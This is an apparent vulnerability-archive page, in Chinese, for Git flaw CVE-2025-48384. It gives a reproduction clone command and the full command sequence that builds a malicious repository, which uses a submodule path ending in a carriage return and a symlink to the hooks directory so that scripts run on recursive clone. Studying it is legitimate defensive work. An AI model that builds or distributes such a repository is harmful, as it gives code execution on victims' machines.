关联漏洞
标题:Git 安全漏洞 (CVE-2025-48384)Description:Git是Git开源的一套免费、开源的分布式版本控制系统。 Git存在安全漏洞,该漏洞源于在处理配置值时尾随回车符的处理不当,可能使子模块被错误检出到由符号链接指向的钩子目录,意外执行其中的可执行脚本。
介绍
复现命令行
```
git clone --recursive https://github.com/beishanxueyuan/CVE-2025-48384-test.git
```
修改指向的GitHub仓库
```
git init repo
git -C repo -c protocol.file.allow=always submodule add https://github.com/beishanxueyuan/CVE-2025-48384.git sub
git -C repo mv sub $(printf "sub\r")
git config unset -f repo/.gitmodules submodule.sub.path
printf "\tpath = \"sub\r\"\n" >> repo/.gitmodules
git config unset -f repo/.git/modules/sub/config core.worktree
printf "[core]\n\tworktree = \"../../../sub\r\"\n" >> repo/.git/modules/sub/config
ln -s .git/modules/sub/hooks repo/sub
git -C repo add -A
git -C repo commit -m submodule
cd repo/
git branch -M main
git remote add origin https://github.com/beishanxueyuan/CVE-2025-48384-test.git
```
文件快照
[4.0K] /data/pocs/4f4cd5be3eef944af86fb2fefebc588a8fc7fe61
├── [ 758] README.md
├── [ 22] sub -> .git/modules/sub/hooks
└── [4.0K] sub\015
1 directory, 2 files
备注
1. 建议优先通过来源进行访问。
2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →